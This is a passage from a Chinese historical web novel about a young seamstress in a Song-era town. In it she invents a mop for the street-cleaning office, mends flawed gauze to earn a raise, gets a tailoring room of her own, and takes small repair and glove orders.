桑青镇的百姓嘴皮子溜,说今日倒油,明日泼粪,再下去死了活物烂在街上也没人管制,死了人衙门还在那做春秋大梦。 街道司的管勾官被骂得狗血淋头,是以林秀水目送七宝两人离开后,溪岸口那走上来十几个街道司的人,都穿青衫子的,手里拿扫具。 她粗粗看了眼,有扫帚、水桶、灰、布头、水囊等等。 其中有人长叹口气道:“这油泼的也真是地方,偏偏泼在这日日收泔水的路上,得亏没摔到泔浆桶,不然今日我要赶头猪来。” 搭着布巾的年长小吏道:“你可快些闭嘴吧,前头有人瞧着呢,不卖力干活,有你挂落吃。”街道司一来做活,林秀水的摊子都没人了,她也瞧热闹去,去瞧前得先将桌面工具放屋里。 顺道跟王月兰说声,她在后门剖鱼不去。 林秀水自个儿脚步嘚嘚地去,仗着自己瘦,挤进人群里,蹲在最前排。 那一大滩油已经被别人用桑柴灰盖住了,但里头仍包着油,小石桥上有沾了灰的人脚印、牛脚印、猫脚印,还有一道道长长的车辙印。搞得街道司的无从下手,又被对面百姓指指点点,只好先用铲子铲油灰到桶里,再盖层桑柴灰。 林秀水实在有些看不过眼,见人洒水拿扫帚扫得漫天尘土飞扬,她捂着鼻子咳了几声,悄悄从人群里挤出去。 她要做一柄拖把来。 回去找了破旧的布头,有些还是陈打金讨来的,但她不要的,正好给林秀水扎拖把。 只是没有合适的竹棍,她在屋里来回转悠,瞧上了她姨母用的烧火棍,但不行,动了这几年的老物件,她姨母会抽她的。 她去问隔壁张木匠要了根,他不要钱,林秀水扔下两文钱就跑。 有了长短合适的竹子,她将短布条缝在长布条上,一根根布条铺平,竹筒去卷,卷好后她又去找张木匠上根钉子,钉得很牢固。 翻过布来,在布头处加绑绳子,一柄拖把便做好了。 她拎着自己的拖把加入了“灰场”。 “这什么玩意?” “小娘子,你别过来,灰大得很。” “咦,这手里的是什么?布头?” 在众人惊奇的目光里,林秀水拉好自己脸上包着的布,指指手里的拖把道:“拖布,拖地用的。” “你们先别扫了,瞧我怎么用的。” 林秀水专找扫过灰,还残留不少的地方,青石板砖铺的地坑坑洼洼很多,她举着拖把放到水桶里浸湿。 拖把布头绑得多,蘸了水后重得林秀水差点没提起来,桥前桥后都是人,她不能失了面子,咬着牙硬提,等水滴不少后,两手用力前后拖地 。 在众人的眼里便是,那杂色布头越来越脏,原先脏污的地却灰浆越来越少。 林秀水甩了甩手说:“这拖布耐用得很,脏了不打紧,到河里涮涮,拿回来多拖几次,沾了油的,往布上倒皂角水,拖上七八遍也就干净了。” 她决计不 会再拖了,累得她手疼。 倒是街道司看这拖把正新奇,挨个拿来用,河里跑上跑下都不嫌累,他们一跑,看众的脑袋就往河道里瞧,见一把布涮出那么一大团脏水,不免要啧啧两声。 等街道司的跑回来拖地,又开始看桥面干净了没,油去没去掉,渐渐地,骂声没了,也有人端自家皂角水来泼拖把上,有的人也玩玩这个拖把,或是搭把手将水桶从河里挑上来。 等着最后两桶水泼到桥上,这油污算是彻底除去了,桥洁净非常,拖把洗一洗也能称一句干净。 街道司听到百姓交口称赞,松了好大一口气,里头管事的,转头跟林秀水道谢,再举起这拖把满脸兴奋地问:“这拖布实在好用,小娘子哪里买来的?” “我自个儿做的,你们要是用得上便拿去,”林秀水实话实说。 管事的连连称赞,又说:“我们街道司最合适用这拖布了,日日扫街、盘垃圾、治水道,有些牛、鸡鸭过路多的,实在是难以打扫干净,这东西好用,连油污都能粘去。” “既然是小娘子自己做的,不如我向你先买二十把来,三十五文一把成不成?” 林秀水有些为难道:“我手里没有这么多旧布头,没法做这么多。” 管事的当即笑道:“那我们街道司最多的便是破烂布头了,那街上彩棚架子、彩楼欢门换下来的,全叫我们拿去烧了,正好能做这拖布的话,我便叫人裁成布块,送小娘子你这来行不行。” “这样竹子要算钱,你手头要做活,十五文一把成不?” 林秀水快快算了笔账,细长竹子一根十文钱,能裁三到五根,再加上竹钉、张木匠的捶打活,按六文算,还能赚九文。 她没有一口应下,只是迟疑地开口说钱的事,她最怕官衙的人压着不给钱,做完后得她自己垫补上去。 管事的也好说话,不然这种活落在哪个油滑点的上头,都不会亲自过来,他当即拍板,“送布时一道先将银钱送来。” 林秀水暂且信他,跑回家里同姨母说这件事。 “这可是好事,叫你给揽上了,”王月兰手里攥着小鱼,起身面露喜色地道。 林秀水蘸水用湿巾子抹了把脸,她才道:“我揽是揽了,可我忙着压根没法做,手里那么多活。” “姨母,这活你帮我做做吧,剪些布头绑根绳子的工夫,一把有十五文呢,除去买竹木,也能赚个八九文钱。” 林秀水打从一开始应下,便没有想自己做,她手里活太多,贪多嚼不烂。而且做拖把并不需要多少手艺,只要简单好做的,她想留给姨母赚。 她不等王月兰拒绝,跑出去站在门边说:“这活我可应下了,同人管事的说定了,姨母你要不做,我只能回绝人家了。” “哎,你这人,”王月兰扔下剖好的鱼,“我哪说不做,我只想着做不好,到时候反得赔给别人银钱。” “放心,有我这个监工呢。” 林秀水定好酉时边上送东西来,等她下工回来时,街道司的人已经将裁好的布装在篓子里,两人提着过来的。 且给了林秀水两百文钱,剩下的百文压着,做好时再给。 街道司给的这布很脏,是露天彩棚上盖过的麻布,积满了灰,颜色被日头晒得黯淡。 林秀水得先将布挑出来,要能进水便湿的,麻布里头苎麻布不行,遇水会变硬,别说拖地,用来擦桌子都不大好用。 等她挑完,手指缝里黑漆漆的,小荷点点她的脸,“阿姐,你脸脏成黑猫了。” 林秀水伸出黑乎乎的手掌,“你再说,我让你也变成小黑脸。” 洗完脸和手,王月兰下工回来,林秀水叫她戴好手套,头上缠包布和面巾子,再来剪这块布。 由于做法实在简单,教过一遍后,王月兰便能很快上手,林秀水又去跟张木匠买竹料。 张木匠听闻后,二话没说,叫上张木生一道出去了趟,划船从竹行里运来一批竹子,父子俩按相同长度锯竹子,打磨竹节和顶上边缘,确保不会刮到手。 后头陈娘子和张阿婆回来后,听闻此事,也顺道过来帮忙,给街道司做活对她们来说,还是破天荒头一遭。 以至于林秀水缝百家衣,缝补其他衣裳,只当最后的监工便成。 拖把做得快,第二日早,街道司的人过来拿,才二十把,来了十二三个人。 “我们听说有新的扫具,自然得抢着来,”黑脸壮硕的男子说,“我是管大小水桶的,这次分新扫具,我也有份,小娘子,叫我先挑一把。” “边上去,”领头高个子说,“我还没挑呢,都让让,我用铲子会使十八个招式,这拖布到了我手上,我能想出三十六招来,我得先挑。” 林秀水原以为街道司给钱,她给拖把,两边客套几句,便算完事了,觉着好用下次再来定。 没想到当场抢了起来,不像抢一柄破布拖把,像在抢什么上好的物件。 抢到后有人从袋里摸出青绳子,给绑在竹木上,见林秀水几人好奇的神情,笑着解释:“新扫具到手难免不顺手,觉得太新用不惯,所以我们每换一批旧的,将上头绑的青绳解下,换绑到新的上头,这便是我们街道司的东西了,不论新旧。” 等送走他们后,巷子里的人家才从门后走出来,涌过来打探消息。 王月兰挺着脖子说:“哪呀,什么收税,不过阿俏给他们做了样新扫具,到我们门前过来拿。” “要下回你们在街上瞧见他们拿了柄布头在那地上拖,那都是我们做的。” 张阿婆插嘴,“竹子是我们这头出的。” 陈桂花假装出门扫檐下的蛛丝,侧过身竖起耳朵,闻言便咬了咬牙,咋地上泼了油,偏叫王月兰出了风头,她气得掐自己衣裳。 一时这件事也成了桑桥渡巷子里的闲谈,总要说上一两嘴的,有不少拿自家旧衣来,叫林秀水也给裁了做柄拖把的,想瞧瞧到底好不好用,反正林秀水全推给她姨母去。 而王月兰一经这事赚了钱,便开始琢磨自家院子太小,万一以后阿俏再琢磨出别的东西,那真是挤到没法了,难不成真叫人出门做去,她又不放心。 当时买这屋子,王月兰图便宜的,也不嫌弃院子小,门檐不高,可眼下看看这院子,哪哪都挤,做二十柄拖把,院子便站不开,得进到屋里去。 可屋里东西多,又黑又乱,王月兰站那翻翻看看,下了狠心,决定先将不用的东西收拾出来,为此还去染肆说了声,今日不来做活。 当然林秀水不知晓她姨母的这番举动,这两天早早上工,毕竟顾娘子来得更早,她再踩点到,有些不大说得过去。 顾娘子见她来,揉揉额头,指了指里头,“新布刚到,你去瞧瞧。” 原本前两日该到的新布,结果在税口停靠没给过,理由林秀水不知道,只知道罚了一笔不小的数目。 她点点头,往院子里走时,只觉得顾娘子这梦做得真准,说失财物真的破财了。 小春娥拿起火钳子凑上来,问林秀水,“阿俏,娘子脸色怎么样?” “你不前头还说人家阿雅,怎么这回自己打听起来了,你也想去做报晓僧人?”林秀水打趣她,又捏着下巴认真回,“不大好,跟起雾天时一样,琢磨不透啊。” 小春娥背过身,慢慢摇头,“这起雾就表明,阴晴不定啊。” “少说有的没的,”林秀水去洗手,大春玲从后面库房抱了匹布出来,摊在桌子上,这批新布全是纱,有素纱、天净纱和三法暗花纱。 为下个月的上巳节准备的,比起花朝节来,各家成衣铺、彩帛铺或是布行等等,都更青睐于上巳节,桑绫弄的铺面里几乎都进了新布。 林秀水做好手里的活,低头看了眼这匹天净纱,在光照下,闪着若隐若现的浅蓝光泽,轻盈而透明。 她又凑近看了眼,轻轻皱起眉,越看眉头拧得越紧,纱缎上有四五条明显加深的丝线 ,她伸手放到纱下,丝线不同色的问题更加明显。 而且这才仅仅只有两尺。 林秀水长呼口气,将前头的纱慢慢卷回去,摊开后面的纱,她揉揉眼,确实没看错,那几条显眼偏蓝的丝线又突兀地跳出来,正好横亘在中间。 她不信邪,一整匹全翻出来瞧,看完后,她站在纱缎前,叹了口气,摸摸眉心。 正巧顾娘子从前头走过来,站定到跟前问她,“这批纱怎么样?能不能熨?” 林秀水点点上头的线,“这匹瑕疵太多了,我整匹铺开看过,总共有三十六处不同的纱线,熨倒是可以熨,就这纱长,要裁的话至少得才掉两尺。” 一匹纱缎买来要十贯,尺幅又不长,裁两尺掉,哪怕做别的,都得损失一两贯。 顾娘子很清楚,她说:“临安那边好的抢不到,这种料子还算能过得去,采办已经同我说过了,没法子,只能先熨,到时候让裁缝作的看样子裁,赔点钱和料。” 林秀水又将目光转到布上,盯着瞧了会儿她刚看见这纱缎的时候,心里便有了个念头,这会儿听顾娘子这般说,她思来想去道:“其实有种法子的。” “嗯,说来听听,”顾娘子偏头看她,想听听她的高见,心里倒是没多大指望。 林秀水点点这明显不同色的纱,她说:“可以换纱,将这条纱抽出来,从底下拆了纱线来,再把纱补回去。” 她说出来时,大春玲皱眉,小春娥站在凳子上冲她疯狂摇头,只有顾娘子沉默,她在沉思这法子,因为林秀水并非是说大话的人。 顾娘子深思后,问道:“你能换补?” “我能,”林秀水口气笃定。 她这段日子接手过的补纱活计总共有三十九件,哪怕那些纱只是普通的素纱,她也摸清了纱的大致走向,即使换纱比加纱要求和难度更高,她从来没有试过,但她也不打怵。 顾娘子说让她试试,林秀水要绣架、铜镊子、剪子、绣绷,将纱缎反过来,换纱得从反面来。 反过来的纱缎铺在绣架下,底部是空的,她伸手取绣绷套在要换纱的地方,她用针挑出纱,与之相接的左边长纱留出头,利落剪断。 小春娥低低嘶了声,捂住自己的嘴,院子里此时静到只有院外时远时近的声音,其余人连喘气都没有。 林秀水只专注手里的活,她右手握镊子,夹住细纱的线,这线实在太细,她用手握不紧,一捏会打滑跑出去,她左手托着布,右手极为缓慢将这条线拉出来,时不时用手去抵一下。 拉出纱不难,难的是加纱,尤其这种带了颜色,有纹路的纱,林秀水拉完纱后,用布擦了擦手心,再按上头的纹路找线,找了有一阵子,再加纱加回去。 加纱要用最细的针,她将线穿进去,从相隔五个的孔眼里,一上一下慢慢加线,孔眼很细,林秀水不得不趴在上头,补一半站起来甩甩手,手有点酸,再慢慢如小鱼游动一般推进,纱渐渐游到了终点。 剪掉最后的线头,拉直扯平整,还吹小风的天里,林秀水脑门也渗出点汗来,抚抚胸口 ,看着成功换下的纱,露出笑容,转头跟顾娘子说:“娘子,你瞧瞧。” 小春娥早早探过头来,极为惊讶地不住点头,拍手叫好,“没想到阿俏你竟还有这样的本事,简直比那种像那种不出世的神医,人家治人,你补衣裳。” 林秀水这话早不知听了多少回,此时并没有得意忘形,而是坦然接受夸奖。 至于顾娘子,她细细瞧了瞧,原来有显眼纱线的地方,如今换过纱后,竟是再无半点痕迹,她刚才便注意林秀水的动作,手很稳,慢条斯理的,而且明显不慌乱。 她的目光里涌动着惊讶,在林秀水身上来回打量,有些许探究,又稍坐会儿,她再看林秀水的目光里变成了欣赏,最后只拍拍她的肩膀道:“阿俏,你跟我出来一趟。” 林秀水跟出去,有些许疑问,她自认为补得不错,除非手艺极为娴熟的老师傅过来补。 “你这手艺很是不错,”顾娘子如此说,她近来疲惫的面色涌露出真心的笑容,“我们从前拿这除了裁剪下,做其他的东西,有了你这手艺倒是能少发许多愁。” 顾娘子自然不会放过林秀水这样的手艺人,她转瞬间便道:“虽然你来成衣铺未满一个月,但你又确实有本事。” “我打算给你加月钱。” 做这个决定似乎都不用考虑,顾娘子几乎是须臾间下的决定,本来说的是先做一个月瞧瞧,她跟牙嫂也这般说。她现在改了主意,还得打发人去跟刘牙嫂说,不要再来过问给林秀水张罗其他行当了。 “先加六百文,这笔钱从我这拿,不走账房,另外月底给你加一匹细布,”顾娘子微微偏了下身,问她,“你觉得如何?不行还可以再商量。” 林秀水这会儿眼睛睁大,有些结巴地问:“娘子,真的吗?真这么快给我加月钱?” “当然,我还指望你给我补纱呢,”顾娘子笑了笑,“你也别嫌少,日后我会再给你加到账面上的。” “不过这不是补纱钱,补纱的钱另外算与你,按一条三十文算如何?” 林秀水攥紧了手,心砰砰跳,她脑子里想了一遍,而后道:“娘子,补纱的话,我不要银钱,我想要布头,不管是长布、短布都可以。” 其实三十文一条,她一天能换十二三条的纱,也便是净赚四五百文,供她去船布郎那买好些袋布头了。 但四五百文,她买不到成衣铺的好料子,有很多布料即使没过她的手,但她光看成衣就能知道,那些桃红、银红、柳绿等色,纹样新奇,如绮梅花字、绫梅花璎珞等等,更不用说缎面、绫罗这些布料。 她要是能用这些布料,做领抹、香囊、荷包、绢花,能赚得比四五百文更多,而且效仿的只少不会多。 顾娘子这下倒是确实讶异,“你要布头?” “对,真不要钱,要布头。” 如果换做昨日的林秀水跟她说,顾娘子说不定会驳回去,但今日林秀水用手艺让她见识过,她也没探到林秀水的底,此时便难以反驳。 而是笑道:“也成,到时候用细麻袋给你装,从前那布头也是卖出去的,你自己去挑。” “我信得过娘子,随便给我什么都成。” 林秀水越是这样说,顾娘子越不会落人口舌。 “这六百文你先点点,到时下工加在布头里给你,不要同旁人讲,小春娥也不行。” 顾娘子从钱柜里拿出六吊钱,林秀水啊了声,她原以为要等到月底给她,此时看着这钱,竟有点手抖,要知道她加纱的时候手都没抖过。 这多出来的六百文,加上她攒的钱,可以同许三娘子买上一整匹油布。 她数的时候在想,但这是每个月多出来的六百文,她可以多买几升米、几罐糖盐,割肉买菜,她还可以买一卷油纸,将窗户上的麻布换下来,让屋里更亮堂些,还可以花钱买只蜡烛,最好是乌桕油做的,肯定比麻油灯瞧得亮。 她想快快告诉姨母这个好消息。 越数林秀水面上笑容越大,眉眼弯弯,她很大声地说:“多谢娘子,我肯定会好好熨布加纱的,我还些其他手艺,以后要是能用得上我,尽管叫我,我不用太多钱的。” “好,去做活吧。” 林秀水这一日都处在对以后日子的憧憬里,这种突如其来的加钱与惊喜,比数着日子领钱更让她欢喜。 她还说要送大春玲,小春娥 好东西,等她拿到布头以后,她要做几个新奇的东西送给她俩。 下工后她拿到了一大袋布头,以及六百文,这六百文的喜悦不是日日有,但今日的是真的。 林秀水哼着调,抱着布走在桑青镇的大街上,急急穿过人群里,脚步欢快,要回家里去。 结果她到家后,差点布头也没抱稳,院子里破烂成堆,王月兰的头从这堆破烂里冒出来。 林秀水嘶了声,“谁送过来补的?” “想真好,我从屋子里收拾出来的。” 林秀水暗想,我就知道,不会有人送这么破的东西来。 而后两人异口同声,“我有件好事要同你说。” 林秀水眨眨眼,“我说的是,我涨月钱了!” 王月兰则说:“我准备给你腾出间屋子,做你的裁缝屋,叫张木匠给你打两个柜子。” 然后两人又异口同声。 王月兰喊:“什么,你涨月钱了?!” 林秀水震惊:“给我腾屋子做裁缝活?!”—— 作者有话说:希望大家日日有好事[抱抱] 第28章 第 28 章 孩子哪都好,就是不像人…… 王月兰腾空的这间屋子, 原先是放杂物的,很长一间,窗户靠河, 林秀水拍拍灰,打开方格眼窗,外头河水潺潺, 天光飘进来,很亮堂。 倒不像院子那般窄,有些宽度,至少能摆张长桌, 放两个木柜。 “我琢磨着,你总要帮人做衣裳的,没个宽阔地方, 时常将木板挪来摆去,又不大方便,得有间屋子,也叫人知道你是正经做裁缝的,”王月兰说完,来回走,踩得杉木地板咯吱咯吱响, 她又道, “得叫人修修。” “我晓得你涨月钱了, 省着点花, 你做裁缝的花销还大着呢。” 林秀水刚想张口,王月兰叫她打住,“什么也别说,我晓得自己当姨母当得很好, 你以后多孝敬我一星半点的。” 话被抢走了,林秀水只好道:“我不孝敬姨母你,天打雷劈。” “你个小兔崽子,”王月兰拍她一掌,“少啥话都往外讲。” 林秀水委屈闭嘴,闷闷嘶了声,跟王月兰出去收拾破烂。 院子里那东西杂的,什么都有,林秀水有时候疑心,是不是旁人不要的,也被她姨母捡回来了。 她戴一双长麻布手套,蹲在成堆的物件里,举起一把散了架的竹帚,问道:“姨母,竹帚扔了吧。” “扔什么,我等会儿再扎捆起来,还能扫,”王月兰一把夺走,靠在墙根处,新买个要三文钱呢。 林秀水又摇了摇边上断了根腿的竹椅,又问道:“那这呢?要不打断当柴烧,竹子着得很快的。” “你想也别想,我从前花二十文买的,等会儿我拎隔壁去,叫张木匠给我修修,给你放屋子里坐,这不换个腿儿的事。” 王月兰拿起椅子,将被虫子咬的蒲合,也就是一卷蒲席,旧门帘、旧罩子、散了架的油纸伞等等,一股脑放林秀水边上,自己拍了拍手道:“正好轮到自家,你都给补补,补了还能再用用,扔了那还不如烧了,烧了我可舍不得。” 林秀水两眼一黑,她姨母说是扔些东西出去,结果收拾一整日出来,只有两样不扔,便是这也不扔,那也不扔。 这裂了口的碗不扔,放天井边上,栽点草进去,小锅缸灶更不能扔,哪怕底下破了大口,王月兰说要找补锅匠补补,放后门去,说不准小荷哪日能钓条鱼上来,倒里头养着。 “可我捞不上鱼,”小荷举着黑乎乎两只手,玩两根旧麻绳。 “那等你能捞上再说,等个十年八年的。” 还有那但凡当初买来贵价的,更是没法扔,给找出千百个由头来,也只能得到一句话,当时买它花了大价钱,这会子扔了可不就把钱白扔出去了。 林秀水一拍脑门,环顾四周,乱糟糟的,她整理出大半,有些放放再扔。 既然涨了月钱,到了夜里,她硬拉王月兰上南货坊去,买一对纸灯笼、两根蜡烛、三卷薄绵纸,花了百来文。 王月兰拿她没法子,“你买也买了,灯笼可要挂在屋里头,免得叫别人给偷了,去年有个偷灯笼的,把前街人家挂门前的灯笼全偷了,缺了大德的东西。” “不挂门前,给小荷买个耍货,”林秀水将蜡烛和薄绵纸放竹篮里,小荷一听,她眼神亮亮,嘴巴快快,“我想要只纸鸢。” 既然都出来逛夜市买东西了,王月兰也没拦着:“我掏钱给她买。” 小荷跳起来,差点撞到人家的盘架,选了只燕子样式的纸鸢,林秀水给她在货郎那买了个六角风车。 她一手拿纸鸢,一手拿风车,小荷一蹦一蹦往前说:“真想阿姐天天涨月钱。” “涨了全进你嘴里,”王月兰提了袋面,没好气地回。 小荷噘嘴,“进了我嘴里,那也没亏了钱呀,我都有好好吃。” 王月兰说她歪理一套一套,林秀水只顾着笑。 回去后,王月兰把红灯笼挂屋檐下,压根不点蜡烛,放着图个喜庆,撑个排场,等哪天有钱多买两根蜡烛,她再给点上。 又点起一根蜡烛,烛光在屋子里从桌子处照到木墙上,王月兰说:“这蜡烛是比油灯要亮堂,贵二十来文钱呢。” 林秀水回:“可不是。” 借着蜡烛光,洗漱完,夜里躺床上,林秀水心咚咚跳,翻来覆去睡不着,下来把钱数了一遍。又举着油灯,像猫儿蹑手蹑脚下楼,到底下给她腾出来做活的屋子里转了圈,想想要置办什么,才上楼安稳睡了。 起早下来,她给所有打扫干净的窗户糊绵纸,这绵纸还算便宜,用废丝做的,比油纸糊起来还亮堂,总算不是白日屋里也同夜里一般黑。 林秀水跟张木匠商量了要打的柜子,做一排线架,王月兰插嘴道:“再做张宽桌子,不要桌板,用便宜些的杂木,总不能整日那桌板搬来搬去。” “我到木行里拿些好料,那下脚料也便宜,给小娘子拼凑拼凑,八十文能出张好桌子,”张木匠在屋里用长木尺量了量,指指墙边又说,“你这屋高,打两个木柜不划算,用杂木做张矮桌垫底下,加横枨和牙条便很稳了,上头再放木柜,这样最多也只要一百五十文,要打大柜子,那得四五百文起。” 张木匠也得了林秀水送来的生意,自然给她精打细算,不管做挂布架、绣架,这种用木条的很便宜,二十来文能做一个,大头出在柜子、桌椅上,加起来得三百五十文,还有打理木板七十五文,零零总总加起来六百文出头。 林秀水给了一半的定钱,她不要王月兰出钱,庆幸自己有了相对稳定的营生和月钱,花自己的钱才好。 她还背着王月兰跟张木匠说请他将屋里楼梯,桌椅修一修,钱另外给。 林秀水做完,又抽空用陈打金送来的布头,做完百家衣给的,找出各种绿或偏绿的布头,用布尺量了门宽和长,坐在院子里缝两块门帘出来。 从前她姨母不说换,她也只当看不见,总算能将这破旧的门帘挂下来,挂在门边耐看多了。 做好门帘,正把旧门帘取下来扔到边上,林秀水准备洗一洗,裁成拖把,门外便有了急促的喊声,“林小娘子,在不在家?我有东西要补。” 她急忙走出几步,擦擦手,喊了声,“来了。”放下门闩,见是个生脸孔的郎君,拿了一对绢孩儿。 “要补耍货是不,你等我去拿针线来,”林秀水去拿针线,又问了句,“怎么这么早便来补了,这种东西晚些补也来得及。” 那郎君长叹口气,无奈摇头,“我要能拖得到午后,我也不会五更天多些便急急赶来,实在是一言难尽呐。” “我家有一对双生闺女,那刚生下来时还只觉欢喜,又乖巧又不闹腾,比起小子来要好上许多。” “结果到了两岁,能认得东西,会说话,那真是不得了,姐妹俩的东西要有丁点不一样,动 辄哭闹不休,非得换个一模一样的来。” 那郎君真是一把辛酸泪,举起手里两个绢孩儿说:“昨日夜里带她俩去南瓦子玩,货郎卖绢孩儿,夜里瞧不清,一人一个都欢喜。结果到今日早,大姐儿醒得早先玩,扭头发觉跟二姐儿的那个不一样,嚎啕大哭。我娘我娘子全骂我多事,我没法子,这才起早过来,想叫小娘子你给修修。” “小娘子,你可救救我吧,不然我连家都回不去。” 林秀水听乐了,她笑道:“拿来我瞧瞧,到底哪里不一样。” 她洗了手,接过那对绢孩儿,做工比较简陋,跟她手掌差不多长,用绢布裁了一对绑双鬟的女童,有手脚,估摸里头只塞了丝绵,软塌塌的,身上的衣裳是花布贴绣上去的,不是真做了小衣。 要说这两个绢孩儿不一样的点,就出在这花布衣裳上,花色相同,颜色不同。 林秀水笑了声,指指这贴布衣裳,“有两个法子,一是拆了这布,重新剪一块缝上去,第二个法子是,做两套小衣,可以穿脱的。” “做小衣,多少钱都做,”那郎君一听可以穿脱,顿时喜出外望,他觉得自个儿有救了,不用被他娘子拿竹帚追着打了。 “这种布头的,两件便宜点,十六文,要好些的,得二十二文。” 林秀水让人家选布头,一种没有太多花样的普通布头,另一种则是她从顾娘子手里拿来的,织工纹样花色上成。 最后那郎君选了一般布头,蓝绢布,一点花纹都不敢有,生怕到时候花纹不一样,他又成了罪人。 林秀水用竹木尺量绢孩儿身长,算了算,这块布头大,做两件上襦下裙正好。 其实林秀水前世的记忆里,就会做绢人,不是这种粗制的绢孩儿,而是用铁丝或铅丝绑成人形骨骼,上棉花,绢布做皮肤,要上妆,用真发做头发,有各种发髻花样,做各式衣裳。 但她还不大会,只会做小衣。 她取布画线裁衣,做两件窄袖短襦,领抹用了纯白布,下身是浅杏色的短裙,两边有裙带能绑。 做完后,林秀水给小心系上衣裳,捧给那郎君,他接过后,翻来覆去地看,连小衣裳内里都瞧了,确保一样,长长松了口气。 “可多谢小娘子了,不然这绢孩儿只能又藏起来了,我家中已经藏过凳子、桌、碗筷,纸鸢,说说都是一把泪,钱放这了,我得赶紧些回去,要是能成,我下回还来啊,我家里还有好些不一样的东西呢。” 那郎君放下十六文,将绢孩儿藏在布袋里,脚步飞快,赶紧跑回家里去,他这次肯定能昂首挺胸进家门。 王月兰等他走后啧啧两声,“幸好小荷可没这么难带,也真亏她们有兴致。” 林秀水也笑了笑,将碎布片抖到布篓里,她得去外头支摊去了,今日花掉她不少钱,实在心疼。 一出摊,有两位穿合围裙,绑腹围的娘子过来,拿了三件麻布长袖大衫,叫林秀水改改袖子。 “这件袖子改紧窄些,这两件则改短,最好到手肘处。” 林秀水先是接过,又问了一句,“两位娘子要做什么活去?” 瘦一点的娘子道:“要改窄袖的那件是我的衣裳,我去给人油菜田的主家当帮工,摘油菜顶,得干好些日子,穿大袖或是绑攀膊都麻烦,不如窄些好做活。” 另一个矮胖娘子则笑说:“我这个活计不知小娘子有没有听过,我是到钱塘门外那做鱼儿活的,要捞鱼,长袖子碍事。” 林秀水正摸袖子,闻言便道:“那真不晓得,是养鱼的?” “养金鲫的,”胖娘子笑眯眯的,“我们养出来,好的像银白、玳瑁的,要送临安府大户人家鱼池里,供人赏玩,那种要卖得贵,其他的,大头送到六和塔放生桥那里卖,供人买了放生。” “我是负责去河里捞虾给鱼吃的,没法子,袖子太长老湿,只好给它剪短些。” 林秀水倒是头次听闻鱼儿活这行当,她还以为养出来吃呢,她低头看袖子,想想便同两人说起袖套和手套来,她觉得布做袖套很适合要摘油菜顶的娘子,窄袖套进去不会脏污,而长油布手套则比较适合捞虾的。 她说完,拿了东西来给两人试试,一试都觉得挺满意的。 瘦娘子说:“摘油菜有蜂,套了这倒是不怕蜂蛰上来了。” 胖娘子则到河里去试了试,伸手捞一把水,带着湿漉漉的手套回来说:“给我来两双先,我先带去试试,这眼下水可冷着呢,套了这东西倒是好些。” 林秀水笑盈盈收了钱,三双手套六十文,两双麻布袖套十文,还有改袖子的十五文,总共八十五文。 袖子改得快,尤其改短更快,不多时送走两位要赶官渡做活去的娘子。 此时二月下旬,桑蚕行当忙起来,林秀水摊摆出去没多久,已经见了两个挑蚕架的过去,有人在对岸糊箪纸,糊在蚕匾底下,沿河有人划船来叫卖,“牛粪,好牛粪呦——” 有家里做蚕室的会喊一声,“等等,买一篓子来。” 买牛粪的大多是用来烘蚕室的,可以祛风,能叫蚕多吃点桑叶。 桑行的人来修路边桑树,眼下桑树光秃秃的,要等到清明边上,才会冒绿芽。 他们搭梯子,爬上去修老桑树,林秀水便将桌子往外移,站在外头,碰上街道司一群人拎拖把和其他扫具来。 有人跑过来说:“小娘子,这拖布真好用,我们今日终于将前门塘那条往上走的石阶弄干净了,那边是制陶的,来往泥多,一走一个黄脚印,扫也扫不掉,但用这拖布拖得老干净了。” “还有那熟药局后门小巷子,总是倒药渣,留印子,用这拖布我们也给拖干净了,还有人夸我们来着,总算不是用心费劲扫了,还叫人说是吃干饭的,”另一个脑袋凑过来笑嘻嘻道。 林秀水也笑道:“你们能用上最好,要有哪里使得不好,可以都跟我说。” “哪里不好,这竹管子不大行,我个头高,这用起来显得太短了,得弓着背,你看他又矮,这竹子便长了些。” 林秀水说:“那给改改,短的上头加截木棍,长的就削一截掉,怎么样?” 青衫子小吏走上来说:“那不碍事,不用削,上面说再给我们做三十把拖布先,叫我们来寻小娘子你,说说这事来着,这事一百五十文定钱,还有布片。” 林秀水接下,将要求记好,这群人又下溪岸口去了,要捞河面上飘的东西,下晌后要去捞淤泥,河道口水不涨,泥沙多船没法过。 她目送人家走远,桑树还在修,先回去同王月兰说这事,将钱递过去,又匆匆跑出去。 正巧看见于六娘从桥头走来,她疑心自己看错了,眨眨眼,还真是。 林秀水跑上前去,“咦,六姐儿!” “阿俏,”于六娘慢慢走过来,“摊支挺好的啊,我来桑桥渡瞧瞧牛粪,正想着你也在这,摸过来看看。” 林秀水看她走路扶着背,“你咋这样走路呢?” “别说了,前头不是下了大雨,我好死不死上桑林坡看桑苗去,”于六娘接了林秀水的靠背椅,扶着椅背坐下来,“结果山里路滑,摔了跤,幸好我肉多,不然得伤了骨头,这会儿就是抻到了,养上个十来日便好了。” “这进山可得当心点,那你还走老远过来,”林秀水搀她,“要不上我那坐会儿,喝点香饮子。” 于六娘没答应,林秀水又问:“那牛粪瞧好了没?没有我认识个老丈,他家牛粪好,你等着我给你问问去。” “晚些着点,”于六娘拉她衣裳,“我说两句话就走,免得耽误你生意,听说你那手套卖得不大好是不是?” “我昨日回去,听桐油作里人说的,我心想你折腾这玩意够累的,买油布又买桐油的。我寻思着,那做寻常布手套还不费劲,我给你找了个路子。” “你说你,自个儿伤了还惦记我呢,”林秀水给她背后加了块布垫。 于六娘说:“这不顺手的事,你别打岔,我说的那路子就是之前跟你说过调广漆的,在桐油作后边小巷子里。” “这调漆的倒还行,熬漆的苦,漆要从生漆熬成熟漆,但那漆咬人,包头包脸还行,手没法子包,熬完漆手又痒又肿一大片。” “我就给他们用了你前头给 我的那手套,有人说好使,真有些用,叫你油布的同麻布的来上些,要做大点,长些,最好到腋处,不用太好的布,先来三十五双,油布十五双,麻布二十双。” 林秀水一听,先谢了于六娘,而后硬拉上自家去,叫她坐会儿,王月兰给她倒香饮子,让她吃煮熟的鸡蛋。 “你真费心了,我肯定能做,这油布手套我卖洗衣行的,是二十一双,麻布的卖桐油作是十文一双。” “你帮我找的路子,我也应该分你点,” 于六娘摆摆手,“我跟你投缘,拿你当自个儿妹子,可别说钱不钱的,算得那么清,你帮我找那卖牛粪的就行,我也指着你的路子呢。” 林秀水叫她的话堵了,也便不说客套话,带她去找那家卖牛粪好的人家,这家在桑桥渡巷子尾,在桑林坡边上有二三十亩田地,养了十二三头牛。 他家的一般抢不着,也不出来叫卖,寻常人过去都买不着,林秀水接过他家里的活,给他家老太太补过一件几十年的旧嫁衣,那嫁衣被老鼠咬破了好几个口子,把老人家气得发了病。 